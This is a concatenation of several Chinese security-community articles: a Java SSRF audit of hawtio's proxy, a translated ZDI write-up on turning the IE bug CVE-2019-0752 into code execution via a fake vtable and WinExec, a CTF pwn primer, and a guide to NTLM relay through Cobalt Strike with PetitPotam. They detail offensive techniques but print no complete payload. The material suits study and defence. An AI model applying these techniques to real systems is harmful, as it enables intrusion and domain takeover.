LOG.info("Initial proxy whitelist: {}", whitelist);
mBeanServer = ManagementFactory.getPlatformMBeanServer();
try {
fabricMBean = new ObjectName(FABRIC_MBEAN);
} catch (MalformedObjectNameException e) {
throw new RuntimeException(e);
}
}
...
public boolean isAllowed(ProxyDetails details) {
if (details.isAllowed(whitelist)) {
return true;
}
// Update whitelist and check again
LOG.debug("Updating proxy whitelist: {}, {}", whitelist, details);
if (update() && details.isAllowed(whitelist)) {
return true;
}
// test against the regex as last resort
if (details.isAllowed(regexWhitelist)) {
return true;
} else {
return false;
}
}
public boolean update() {
if (!mBeanServer.isRegistered(fabricMBean)) {
LOG.debug("Whitelist MBean not available");
return false;
}
Set<String> newWhitelist = invokeMBean();
int previousSize = whitelist.size();
whitelist.addAll(newWhitelist);
if (whitelist.size() == previousSize) {
LOG.debug("No new proxy whitelist to update");
return false;
} else {
LOG.info("Updated proxy whitelist: {}", whitelist);
return true;
}
}
判断 URL 是否为 localhost、127.0.0.1或者用户自己更新的白名单列表，如果不是返回 false。
返回到 `service()`，向下走：
if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null ||
servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) {
HttpEntityEnclosingRequest eProxyRequest = new BasicHttpEntityEnclosingRequest(method, proxyRequestUri);
// Add the input entity (streamed)
// note: we don't bother ensuring we close the servletInputStream since the container handles it
eProxyRequest.setEntity(new InputStreamEntity(servletRequest.getInputStream(), servletRequest.getContentLength()));
proxyRequest = eProxyRequest;
} else {
proxyRequest = new BasicHttpRequest(method, proxyRequestUri);
}
copyRequestHeaders(servletRequest, proxyRequest, targetUriObj);
`BasicHttpEntityEnclosingRequest()`拥有`RequestLine`、`HttpEntity`以及`Header`，这里用的是
entity，HttpEntity即为消息体，包含了三种类型：数据流方式、自我包含方式以及封装模式（包含上述两种方式），这里就是一个基于HttpEntity的，
HttpRequest接口实现，类似于上文中的urlConnection。
所以这个
`service()`的主要作用就是获取请求，然后`HttpService`把`HttpClient`传来的请求通过向下转型成`BasicHttpEntityEnclosingRequest`，再调用`HttpEntity`，最终得到请求流内容。
这里虽然对传入的 URL 进行了限制，但是没有对端口、协议进行相应的限制，从而导致了 SSRF 漏洞。
证明如下：
### 4、修复方案
通过比对最新版的源码，发现该漏洞的修复方式为加了页面访问权限，如下图：
未经验证的用户禁止访问该页面，测试如下：
## 0x05 总结
本文主要讨论了 Java 中的 SSRF 漏洞，包括其原理、简单的 Java 代码示例、修复方案以及 CVE
实例，希望对初入Java代码审计的朋友有所帮助。另外对于 SSRF 的审计可以从 http 请求函数入手，这里提供一些审计函数，如下：
* HttpClient.execute
* HttpClient.executeMethod
* HttpURLConnection.connect
* HttpURLConnection.getInputStream
* URL.openStream
* HttpServletRequest
* getParameter
* URL
* HttpClient
* Request
* HttpURLConnection
* URLConnection
* okhttp
* BasicHttpEntityEnclosingRequest
* DefaultBHttpClientConnection
* BasicHttpRequest
* URI
## 0x06 参考
<https://github.com/frohoff/jdk8u-jdk/tree/master/src/share/classes/sun/net/www/protocol>
<https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf>
<https://www.cnblogs.com/RunForLove/p/5531905.html>
<https://github.com/JoyChou93/java-sec-code/>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827>
<https://github.com/hawtio/hawtio/tree/hawtio-2.5.0/>
<https://blog.csdn.net/undergrowth/article/details/77203668>
<https://github.com/hawtio/hawtio/compare/hawtio-2.5.0...hawtio-2.9.1> | 社区文章 |
> 原文链接：<https://www.zerodayinitiative.com/blog/2019/5/21/rce-without-native-> code-exploitation-of-a-write-what-where-in-internet-> explorer?tdsourcetag=s_pcqq_aiomsg>
在2018年的最后一天，我在`Internet
Explorer`中发现了一个[类型混淆漏洞](https://www.zerodayinitiative.com/advisories/ZDI-19-359/)，可以利用它产生一个`write-what-where`原语。它于今年四月得到修复，编号为[CVE-2019-0752](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0752)。作为练习，我使用原始的开发技术为此漏洞编写了一个完整的exp。即使漏洞本身仅产生受控写入并且无法触发以产生信息泄漏，但是仍然存在直接且高度可靠的代码执行路径
此外值得注意的一点是，该利用过程不需要使用shellcode
# 背景
在`IE == 8`或更低的仿真级别，`Internet
Explorer`通过该[`IDispatchEx`机制](https://docs.microsoft.com/en-us/scripting/winscript/reference/idispatchex-interface)执行`DOM`方法和属性。尽管这是最自然的实现选择，但在性能方面还有很多不足。为了提高性能，`IE`为`DOM`属性和方法的子集实现了
**快速路径**
，这些是通过位于静态表`mshtml!_FastInvokeTable`中的函数指针调用的。当可用时，快速路径通过避免使用某些常规的调度机制来实现加速。以下反编译代码来自`mshtml!CBase::ContextInvokeEx`中的`IDispatchEx::InvokeEx`：
如上述的代码片段显示，如果请求的是`put`操作，则不会使用加速调用机制
原因很显然，对于给定的方法或属性，`_FastInvokeTable`只能包含一个条目，并且从属性的角度来讲，它将指向更频繁调用的属性`getter`而不是`setter`
# 漏洞分析
上述代码中漏洞的根源在于`IDispatchEx`允许两种不同的属性放置于同一处的事实。典型属性`put`将例如整数或字符串的标量值分配给属性，此操作类型由标志`DISPATCH_PROPERTYPUT`指出，其值为`0x4`。另一种属性的`put`是将对象引用分配给属性，在使用时，需要在调用时提供标志值`DISPATCH_PROPERTYPUTREF`，其值为`0x8`。
有点令人困惑的是，标志值被定义为这两个看似不相关的操作类型，因此无法通过`DISPATCH_PROPERTYPUT`位检测到`putref`类型的操作。因此，在上述代码中，类型的操作`DISPATCH_PROPERTYPUTREF`将被错误地路由到`_FastInvokeTable`属性的条目，而其中存放的属性是`get`方法的指针。`get`方法和`put`方法的函数签名必然是不同的，因此，这里传递的、用于给属性赋值的值就会出现类型混淆。
接下来发生的事情，取决于 **与被调用的特定属性相对应的** 混淆的`get/put`函数的签名。
我找到了三个可能的函数签名子句，如下所示：
在每种情况下，我们都能够调用`get`方法来代替`put`方法。
对于`Case 1`来说，并没有安全隐患，会调用`get_className_direct`函数，并且对于其out参数(类型为`BSTR
*`)，传递的是不兼容类型`BSTR`的值。当`get_className_direct`执行时，它会实例化一个新的`BSTR`来保存`get`操作的结果，并在`BSTR*
value`参数指定的地址处写入一个指向这个新字符串的指针。在我们的例子中，这会覆盖所提供的`BSTR`的字符数据的前四个字节。除了覆盖它们外，不会发生其他的内存损坏。注意，4字节指针值实在太短了，绝不可能
**溢出BSTR分配的字符数据部分** 并 **覆盖相邻的内存空间**
。此外，脚本无法访问损坏的字符串数据以进行信息泄漏，因为传递给`get_className_direct`的`BSTR`是临时的。之后，脚本所访问的`BSTR`的内存空间，和一开始的是不同的。因此，案例1是无法利用的。
对于`Case 2`来说，被利用的可能性更大一点，通过属性的put操作赋值的对象将作为`struct
tagVARIANT`的值进行传递，但由于将调用`get`方法，因此，`tagVARIANT`结构的前4个字节将被解释为`VARIANTARG
*`——一个指向将被结果值填充的`VARIANTARG`结构的指针。当然，我们能够对`tagVARIANT`的前4个字节施加部分控制，使其等于指向我们希望破坏的数据的地址。然而这种情况下，混淆的`get`和`put`函数具有不同的
**堆栈参数总长度**
，因此这里很难加以利用。当`getter`返回时，堆栈指针将无法进行适当的调整。函数调用方会立即检测到这种差异，并且安全地关闭该进程。
相比之下，`Case
3`提供了出色的可利用性。设置属性时传入的值将传递给`CElement::get_scrollLeft`，后者会将这些值解释为`int*`指针写入结果的位置。因此，`scrollLeft`的当前值将按照我们选择的地址写入内存。之后，控制权将返回给这个脚本。这为攻击者提供了一个`write-what-where`原语。唯一的限制似乎是`scrollLeft`的值不能设置为大于`0x001767dd`的值，所以，这个值就是我们可以写入的最大的`DWORD`值，然而这也不会造成很大的障碍。
以下`PoC`演示了如上所述的`write-what-where`原语。注意，这里使用的是`VBScript`。据我所知，这是生成所需`DISPATCH_PROPERTYPUTREF`的唯一方法。
为了触发该漏洞，我们可以将一个`MyClass`实例赋给`scrollLeft`
这样，系统会生成一个带有标志`DISPATCH_PROPERTYPUTREF`的调用。由于`mshtml!CBase::ContextInvokeEx`中存在安全漏洞，故被调用的将是`CElement::get_scrollLeft`，而不是`CElement::put_scrollLeft`
我们知道，`CElement::put_scrollLeft`具有一个整型参数，因此，调度机制会将`MyClass`实例强制转换为整型，当`CElement::get_scrollLeft`接收这个整数后，后面的函数会将该它解释为指向内存位置的指针
总而言之，值`0x1234`将写入`0xdeadbeef`。由于实现细节的原因，这里首先会对`0xdeadbeef`进行一些无关的读写操作。为了查看整体效果，最简单的方法是使用已知的有效地址替换`PoC`中的`0xdeadbeef`
# 漏洞利用
## 第一部分：从任意写到任意读
利用该漏洞的主要障碍在于，它虽然提供了 **写入原语** ，却没有 **读取原语** 或 **信息泄漏**
功能。因此，攻击者首先面临的问题是，不知道任何安全或有用的地址。
但是，只需 **分配一个非常大的数组** ， **使得所选的常量地址几乎总是位于该数组的内存空间中** ，就能轻松搞定这个问题：
创建`ar1`时，会在内存中为`VARIANT`结构分配一段地址连续的缓冲区，总长度为`0x30000000`字节。如果是从一个干净的进程开始的话，这段内存空间肯定会包括我们选择的地址`0x28281000`
最初，`ar1`中的所有`VARIANT`结构的内容都为`0`，因此，每个元素的类型都为`VT_EMPTY`。如果我们在`0x28281000`处写入一个新值，比如说`0x4003
(VT_BYREF | VT_I4)`，那么，它将改变`ar1`的一个元素的类型，使其不再是空值。
通过遍历数组，我们可以找出损坏的元素。这里，我们将这个元素称为`gremlin`，因为`gremlin`叫起来很气派。在我们的漏洞利用代码中，变量`gremlin`用于索引，因此，`gremlin`本身被引用为ar1(gremlin)。
注意，数组的起始地址的可变性是受约束的，因为该地址总是位于内存页的边界处，也就是说，是`0x1000`的倍数。因此，查找`gremlin`时，我们不必检查每个数组元素，我们可以检查每个第
**0x100（0x1000除以VARIANT的大小）**
处的元素即可。通过这种方法，可以快速完成对`gremlin`的搜索，通常不到一秒钟。顺便提一下，这种对地址可变性的约束也是我们可以确定0x28281000必定位于一个`VARIANT`元素的
**开头** 而不是`VARIANT` **中间某处** 的原因。
> 现在，为什么我选择给`gremlin`类型为`VT_BYREF | VT_I4`？
因为通过这种类型的`VARIANT`能够间接获取一个 **针对整数值的读取原语** 。
换句话说，假设我们按如下方式对`gremlin`的内存空间执行写操作：
然后，当读取`gremlin`的值时`ar1(gremlin)`，它将对地址0x12345678`进行`dereference(*addr)`操作，并返回从那里找到的4字节整数。也就是说，我们终于获取了
**读原语** 。
实际上，我掩饰了一个优点
要构造以上所示的`gremlin`，我们要将目标地址写入位置`0x28281008`。但是，如前所述，我们的`write原语`有一个限制，即它不能写大于的值`0x001767dd`
我使用的解决方案是一次写一个小值，每个值在范围内`0x00-0xff`，每个值从后续地址开始。通过重复这个过程4次，我们可以在内存中建立一个任意的4字节值，但需要注意的是，后面的3个字节最终会
**被零覆盖**
。在`VARIANT`如上图所示的结构中，在字段后面有一个未使用的4字节字段`0x28281008`，所以不需要的零不会造成伤害（更重要的是，它们都是零开始）。下图显示了如何把`0x12345678`通过四个单独的受限DWORD写入来构建任意`DWORD`。
应对下一个挑战： **我们仍然不知道任何有趣的地址** 。
同样，这很快就得到了补救。由于我们知道数组元素`ar1(gremlin)`位于`0x28281000`，因此数组元素`ar1(gremlin+1)`位于`0x28281010`。我们可以放置一个任意对象`ar1(gremlin+1)`，然后使用`gremlin`作为`read原语`来
**泄露目标对象的地址** ：
上图展示了我如何将`gremlin`与后续数组元素一起使用。布置好后，ar1(gremlin)`上会放置 **目标对象的地址** 。
## 第二部分：从内存控制到代码执行
传统上，此时的下一步是利用我们的 **内存读写**
功能来进行`ROP`，最终导致本机的代码执行。但是，这些方法已经得到了很好的探索。我很想尝试一些更具创新性的东西。
我受到了[tombkeeper](https://twitter.com/tombkeeper)在2014年描述的[Vital Point
Strike](https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf) [PDF幻灯片]技术的启发。该攻击的基本思想是 **使用内存读/写功能** 来 **定位和更改内存中的数据结构**
，从而关闭`SafeMode`。完成后，脚本可以简单地实例化任意`ActiveX`对象，如`WScript.Shell`，并利用它提供的丰富功能。
自2014年`blackhat`演讲以来，微软已经为`tombkeeper`的原始演示文稿的“生命点”添加了强大的篡改保护，所以我不相信这是一种可行的技术。但问题仍然是关于可以找到其他“关键点”的问题。
我猜想，一旦攻击者对进程的地址空间进行 **任意读/写访问** ，总会有一些方法 **在内存中构造危险对象** ，从而 **简化代码执行**
。考虑到这一点，我开始寻找一种简洁的新技术，可以在今天用于`Internet
Explorer`，轻松实现代码执行，而无需使用任何`ROP`或`shellcode`。
我决定采用的想法是 **颠覆调度机制** 。在对象上调用方法或属性时，调度机制打包脚本提供的参数，将它们转换为基于本机堆栈的参数，最后调用
实现所需方法或属性的 本机函数。因此，调度机制完成了从脚本到本机函数过程中所需的所有繁重工作。我们可以颠覆它以调用我们选择的本机代码吗？
事实上，更改调度的本机目标地址是很容易的部分。通常，在调度期间，可以通过在`vtable`中查找来找到目标函数。通过读写内存的能力，我们可以
**创建一个虚假的vtable**
，其中一些条目已被更改为指向我们选择的`本机API`。我认为这`WinExec`是一个可以最容易用于代码执行的API。通过将`vtable`条目更改为指向`WinExec`，我们实际上可以通过脚本调度来调用此API。
但是，该计划存在一个主要问题： **功能签名并不完全正确**
。每当通过`dispatch`调用一个函数时，第一个参数将是一个指向调用该方法的`COM`对象的指针（`this`参数）。这对我们来说是个坏消息，因为我们通常需要完全控制传递给目标`API`的
**第一个堆栈参数** 。当然，情况就是如此`WinExec`，其中第一个堆栈参数是指向要执行的命令字符串的指针。
我对这个问题的解决方案是正面的：我在内存中准备的`COM`对象需要同时是可用的，也是一个有效的`ANSI`命令字符串——一种内存中的多语言。这比听起来简单得多。考虑一下：当我们准备`WinExec`通过伪造的`vtable`调用时，我们不再需要`COM`对象处于运行状态。不会调用`COM`对象的任何方法，正是因为`WinExec`将执行代替对象的原始方法。因此，我们可以随意覆盖内存中`COM`对象的所有字段。我们必须小心保持`COM`对象的唯一部分是调度机制本身正常运行所需的那些字段。
我选择了`ActiveX`对象[`Scripting.Dictionary`](https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/dictionary-object)。我认为它是一个很好的选择，因为它简单，特别是由于它有一个相对简单的实现`IDispatch`。
尝试`Scripting.Dictionary`实例的内存布局会显示以下内容：
> 上图为 _Scripting.Dictionary的Dispatch-critical字段_
整个对象的大小为`0x40`字节，只有三个`DWORD`大小的字段对于调度机制至关重要。
第一个，以红色显示，是主要的`vtable`指针。我们将用 **指向伪造vtable的指针** 替换它，其中一个函数指针已被替换为`WinExec`。
第二个，以蓝色显示，是 **参考计数器** 。在调度调用的持续时间内，这将增加1。它的精确值并不重要。
最后一个字段以绿色显示，是一个指向小结构（大小为`0xc`）的指针，它似乎被称为`Pld`。采取有根据的猜测，我认为这代表`Per-LCID
Dispatch`。
总的来说，这表明我们处于相当不错的状态。我们可以用我们选择的几乎任何东西覆盖整个对象，除了第一个和最后一个字段，它们必须分别指向可用（伪造）`vtable`和完整的`pld`结构。回想一下，为了进行攻击，此`COM`对象的内存也必须是要传递给`WinExec`的有效`ANSI命令字符串`。
我们的第一个挑战是：在第一个字段中，我们如何编写一个同时是`vtable`指针的4字节值以及`ANSI命令字符串`的前四个字符？
我的解决方案是编写对象的前8个字节，如下所示：
看看我在那里做了什么？前四个字节可以作为指针值`0x28282828`读取，我们可以将伪造的`vtable`放在该位置。但是，当读作`ANSI字符`时，它们代表字符串`((((`。这是一个
**有效的Win32路径组件** 。之后，我们`\..\`使用路径遍历放置字符串以取消 **虚假路径** 组件`((((`。
请注意，磁盘上不需要存在名为`((((`的文件夹。我推荐读者阅读[James Forshaw
](https://twitter.com/tiraniddo)[撰写的这篇文章](https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html)，以便对Windows中路径处理的细微处理进行出色的处理。
要清除的下一个障碍是 **引用计数**
，如上图的蓝色所示，但由于它确实是一个低位。我们放在那里的任何值都是可以接受的，只要我们记住`DWORD`将在调用之前递增`WinExec`。因此，我们将预先缩小的数据放在那里，以便将其增加到我们想要的值。我决定要运行一些`PowerShell`，因此我们到目前为止所做的是：
其中`.ewe`将递增，以便读取`.exe`（字节`0x77`是字符`w`，这是在上面所示的`DWORD`的低位字节`199e3fd4`）。
在此之后，我们开始放置PowerShell脚本。不幸的是，到现在为止我们的空间已经不多了。在我们达到第三个障碍（即`pld`指针）之前，只有`0x1c`可用字节。我们如何防止`pld`指针的出现破坏`PowerShell`脚本的文本？我通过打开`PowerShell
Comment`解决了这个问题：
之后，我们可以关闭`PowerShell`命令并编写所需的`PowerShell`脚本，而不受任何进一步的限制。那时我们将会在`Scripting.Dictionary`内存的末尾之后再写入一些值，但只要我们正确地准备堆，这就不会造成任何问题。
确实出现的一个问题是`pld`指针有时会包含一个字节，如`0x00`或`0x22`（双引号），这会过早地终止`PowerShell`命令。为了防止这种情况，我写了一些脚本来复制`pld`结构并在0x28281020的固定位置重写它。然后我将`0x28281020`作为`pld`指针放入`Scripting.Dictionary`。
在完成这个细节之后，当从一个最原始的进程开始时，该漏洞利用完全可靠。
# 惊喜奖金
我在`Windows 7`开发了这个漏洞利用，因为在`Windows 10`上不允许使用`VBScript`。不久之后，James Forshaw
发布了他发现同样允许`VBScript`在`Windows
10`上运行的[研究成果](https://bugs.chromium.org/p/project-zero/issues/detail?id=1738&can=1&q=CVE-2019-0768&colspec=ID Status Restrict
Reported Vendor Product Finder Summary)。这让我可以在`Windows
10`上为IE编写一个漏洞利用版本。微软已经修补了由[CVE-2019-0768](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0768)引发的漏洞，但我们仍然可以用它进行此演示。
在`Windows 10`上，代码执行前有一条最后的防线：[CFG](https://docs.microsoft.com/en-us/windows/desktop/secbp/control-flow-guard)。`CFG`会阻止试图`WinExec`从`vtable`
进行函数调用吗？很可惜它并没有，似乎微软认为不适合使用`CFG`来
**限制`WinExec`调用`GetProcAddress`以及一些用于开发的API**。我不会因为这个决定而对他们提出错误。一旦攻击者对进程的内存空间具有
**完全读/写访问权限** ，尝试锁定代码执行的所有可能途径就不值得冒险。
此处显示的是2019年2月补丁级别的`Windows 10 1809`上`Internet
Explorer`的完整漏洞。此`PoC`也可以在我们的[GitHub存储库中](https://github.com/thezdi/PoC/tree/master/ZDI-19-359)找到。从最初始的进程开始，它非常可靠。
**增强保护模式** 可以关闭或打开（但不是在具有64位渲染器进程的增强保护模式下）。启用增强保护模式后，生成的代码执行将受到`IE EPM
AppContainer`的约束。
# 结论
我感觉我们只是通过使用 **对地址空间的读/写访问** 来解决可能实现的问题。这种访问级别使得可以 **任意破坏数据结构**
，甚至可以预先手动创建内存中不存在的新对象实例。攻击者可以使用它来实现他们的目标，而 **无需执行任何单一的机器级指令** 。 | 社区文章 |
### 0x0 简介
pwn，在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。
虽然web系统在互联网中占有比较大的分量，但是随着移动端，ioT的逐渐流行，传统的缓冲区溢出又一次有了用武之处
### 0x01 工欲善其事，必先利其器
Linux下的pwn常用到的工具有：
（1）gdb：Linux调试中必要用到的
（2）gdb-peda：gdb方便调试的工具，类似的工具有gef，gdbinit，这些工具的安装可以参考：<http://blog.csdn.net/gatieme/article/details/63254211>
（3）pwntools:写exp和poc的利器
（4）checksec：可以很方便的知道elf程序的安全性和程序的运行平台
（5）objdump和readelf：可以很快的知道elf程序中的关键信息
（6）ida pro ：强大的反编译工具
（7）ROPgadget：强大的rop利用工具
（8）one_gadget：可以快速的寻找libc中的调用exec('bin/sh')的位置
（9）libc-database： 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本
### 0x02 检测elf的安全性:
（1)拿到efl，首先要用checksec来检测elf运行于哪个平台，开启了什么安全措施，如果用gcc的编译后，默认会开启所有的安全措施。
【1】RELRO：RELRO会有Partial RELRO和FULL RELRO，如果开启FULL RELRO，意味着我们无法修改got表
【2】Stack：如果栈中开启Canary found，那么就不能用直接用溢出的方法覆盖栈中返回地址，而且要通过改写指针与局部变量、leak
canary、overwrite canary的方法来绕过
【3】NX：NX enabled如果这个保护开启就是意味着栈中数据没有执行权限，以前的经常用的call esp或者jmp
esp的方法就不能使用，但是可以利用rop这种方法绕过
【4】PIE：PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化，而如果没有开PIE的话那么No PIE
(0x400000)，括号内的数据就是程序的基地址
【5】FORTIFY：FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时，必须使用范围内的所有参数。所以如果要使用%7$x，你必须同时使用1,2,3,4,5和6。
### 0x03 调试技巧
gdb常用的调试指令：
n： 执行一行源代码但不进入函数内部
ni: 执行一行汇编代码但不进入函数内部
s： 执行一行源代码而且进入函数内部
si: 执行一行汇编代码而且进入函数内部
c: 继续执行到下一个断点
b *地址: 下断点
directory+源码所在目录：加载程序源码
set follow-fork-mode parent ：只调试主进程
stack: 显示栈信息
x ： 按十六进制格式显示内存数据，其中x/{字节数}x 以16进制显示指定地址处的数据;{字节数}表示字节数制定（b 单字节；h 双字节；w 四字节；g
八字节；默认为四字节）
程序没有开启地址随机化：
def debug(addr):
raw_input('debug:')
gdb.attach(r, "b *" + addr)
在程序运行时调用这个函数就可以调试了
程序开启地址随机化：
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
with open('/proc/%s/mem' % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink('/proc/%s/exe' % pid)
with open('/proc/%s/maps' % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split('-')[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def debug(addr = 0):
global mypid
mypid = proc.pidof(r)[0]
raw_input('debug:')
with open('/proc/%s/mem' % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
由于开启地址随机化之后ida
pro打开程序后，显示的是程序的偏移地址，而不是实际的地址，当程序加载后程序的程序的实际地址是：基地址+偏移地址，调用debug函数的时候只要把偏移地址传递进去就好
### 0x4 泄露libc地址和版本的方法
【1】利用格式化字符串漏洞泄露栈中的数据，从而找到libc的某个函数地址，再利用libc-database来判断远程libc的版本，之后再计算出libc的基址，一般做题我喜欢找__libc_start_main的地址
【2】利用write这个函数，pwntools有个很好用的函数DynELF去利用这个函数计算出程序的各种地址，包括函数的基地址，libc的基地址，libc中system的地址
【3】利用printf函数，printf函数输出的时候遇到0x00时候会停止输出，如果输入的时候没有在最后的字节处填充0x00，那么输出的时候就可能泄露栈中的重要数据，比如libc的某个函数地址
### 0x05 简单的栈溢出
程序没有开启任何保护:
方法一：传统的教材思路是把shellcode写入栈中，然后查找程序中或者libc中有没有call esp或者jmp esp，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/76893510>
方法二：但是现代操作系统中libc中会开启地址随机化，所以先寻找程序中system的函数，再布局栈空间，调用gets(.bss)，最后调用system('/bin/sh')
比如这个题目：<http://blog.csdn.net/niexinming/article/details/78796408>
方法三：覆盖虚表方式利用栈溢出漏洞，这个方法是m4x师傅教我的方法，我觉得很巧妙，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78144301>
### 0x06 开启nx的程序
开启nx之后栈和bss段就只有读写权限，没有执行权限了，所以就要用到rop这种方法拿到系统权限，如果程序很复杂，或者程序用的是静态编译的话，那么就可以使用ROPgadget这个工具很方便的直接生成rop利用链。有时候好多程序不能直接用ROPgadget这个工具直接找到利用链，所以就要手动分析程序来getshell了，比如这两个题目：
<http://blog.csdn.net/niexinming/article/details/78259866>
### 0x07 开启canary的程序
开启canary后就不能直接使用普通的溢出方法来覆盖栈中的函数返回地址了，要用一些巧妙的方法来绕过或者利canary本身的弱点来攻击
【1】利用canary泄露flag，这个方法很巧妙的运用了canary本身的弱点，当
**stack_check_fail时，会打印出正在运行中程序的名称，所以，我们只要将**
libc_argv[0]覆盖为flag的地址就能将flag打印出来，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78522682>
【2】利用printf函数泄露一个子进程的Canary，再在另一个子进程栈中伪造Canary就可以绕过Canary的保护了，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78681846>
### 0x08 开启PIE的程序
【1】利用printf函数尽量多打印一些栈中的数据，根据泄露的地址来计算程序基地址，libc基地址，system地址，比如这篇文章中echo2的wp：
<http://blog.csdn.net/niexinming/article/details/78512274>
【2】利用write泄露程序的关键信息，这样的话可以很方便的用DynELF这个函数了，比如这个文章中的rsbo2的题解：<http://blog.csdn.net/niexinming/article/details/78620566>
### 0x09 全部保护开启
如果程序的栈可以被完全控制，那么程序的保护全打开也会被攻破，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78666941>
### 0x0a 格式化字符串漏洞
格式化漏洞现在很难在成熟的软件中遇到，但是这个漏洞却很有趣
【1】pwntools有很不错的函数FmtStr和fmtstr_payload来自动计算格式化漏洞的利用点，并且自动生成payload，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78699413>
和 <http://blog.csdn.net/niexinming/article/details/78512274> 中echo的题解
【2】格式化漏洞也是信息泄露的好伴侣，比如这个题目中制造格式化字符串漏洞泄露各种数据
<http://blog.csdn.net/niexinming/article/details/78768850>
### 0x0b uaf漏洞
如果把堆释放之后，没有把指针指针清0，还让指针保存下来，那么就会引发很多问题，比如这个题目
<http://blog.csdn.net/niexinming/article/details/78598635>
### 0x0c 任意位置写
如果程序可以在内存中的任意位置写的话，那么威力绝对很大
【1】虽然只能写一个字节，但是依然可以控制程序的并getshell，比如这个题目
<http://blog.csdn.net/niexinming/article/details/78542089>
【2】修改got表是个控制程序流程的好办法，很多ctf题目只要能通过各种方法控制got的写入，就可以最终得到胜利，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78542089>
【3】如果能计算出libc的基地址的话，控制top_chunk指针也是解题的好方法，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78759363> | 社区文章 |
# CS中继-EFSRPC调用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01前言
NTLM 中继是一种众所周知的技术，主要用于安全评估，以便在网络中的服务器上建立某种立足点或用于特权升级场景。这种攻击在没有为 LDAP 和 SMB
协议启用签名的网络中是可行的。relay攻击在内网中确实存在的，大家基本都会在自己环境测试一下成功，但是在实际攻防中使用的人确实很少。因为实现relay基本都需要impacket组件下的[ntlmrelayx.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)，内网渗透中也不能让你去对方linux机器上装impacket，而且红队使用CS的人居多，但是有很多人还是不知道如何使用CS进行relay，这篇文章将使用EFSRPC的relay，结合CS获取域控权限。
## 0x02 CS Relay
当然，一切的攻击都存在前提，relay也不例外。
首先，要让CS使用relay，这里采用[PortBender](https://github.com/praetorian-inc/PortBender) cna脚本，原理也很简单：
1. 接收流量：当前用户权限可以安装WinDivert64驱动，在windows 445端口有连接的时候会把流量重定向你定义的8445端口，在使用rportfwd_local 8445 192.168.1.1 445，此命令会在beacon中监听8445端口，把流量重定向到CS服务端内网中192.168.1.1的445端口，此时ntlmrelayx就监听在172.20.77.73的445端口，就可以在自己可控的LInux收到内网的445流量了。
2. 回传流量：利用cs的socks功能，当然你觉得这方式慢也可以使用自己的SOCKS代理工具。在proxychains设置代理，在上一步中的ntlmrelayx监听时，前面加上proxychains，这样就实现了流量回传到目标内网环境的机器中。
原理图如下：
## 0x03 EFSRPC调用
微软CVE链接：[https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942。](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942%E3%80%82)
此漏洞使用lsass进程中暴露出来的lsarpc接口，主要调用了MS-EFSR协议EfsRpcOpenFileRaw请求指定的IP。总结下来，本地请求就可以利用impersonte提权，远程就是relay中继。
[微软文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/4892c610-4595-4fba-a67f-a2d26b9b6dcd)使用图示演示了此RPC调用的过程：
从上图可以看出来，使用EFSRPC 的UUID调用RPC建立连接，之后使用EfsRpcOpenFileRaw之类函数，执行所需要功能。
所以关于RPC服务器的安全大致分为如下两类：
### 1.端点保护
程序可以使用RpcServerUseProtseqEp API注册 RPC 服务器端点 。例如ncalrpc
(ALPC)、ncacn_np(命名管道)或ncacn_ip_tcp(TCP 套接字)并创建监听端点。例如，创建一个名为DEMO的命名管道端点。
RpcServerUseProtseqEp(
L"ncacn_np",
RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
L"\\\\pipe\\\\demo",
nullptr //SD acl控制
);
由于RPC 端点是多路复用的。没有将端点与要访问的 RPC
接口有硬关联。所以，我们可以连接到进程创建的任何端点。最终结果是，如果同一进程中存在安全性较低的端点，则可以通过其获取到高权限。一般来说，这使得依赖端点安全有风险，尤其是在运行多个服务（例如
LSASS）的进程中。
### 2.接口保护
保护 RPC 服务器的一个方法是保护接口本身。 RpcServerRegisterIf3和 RpcServerInterfaceGroupCreate
，它们是在 Windows 8 中引入的。后者只是一种在一次调用中注册多个接口的方法，因此我们只关注前者。该
RpcServerRegisterIf3具有三个参数 SecurityDescriptor， IfCallback和 Flags影响安全。
### 3.实际测试
使用Relay工具：https://github.com/topotam/PetitPotam，具体复现可以参考此[文章](https://www.freebuf.com/articles/system/282912.html)。
内网relay调用：
使用提权的工具:<https://github.com/zcgonvh/EfsPotato>
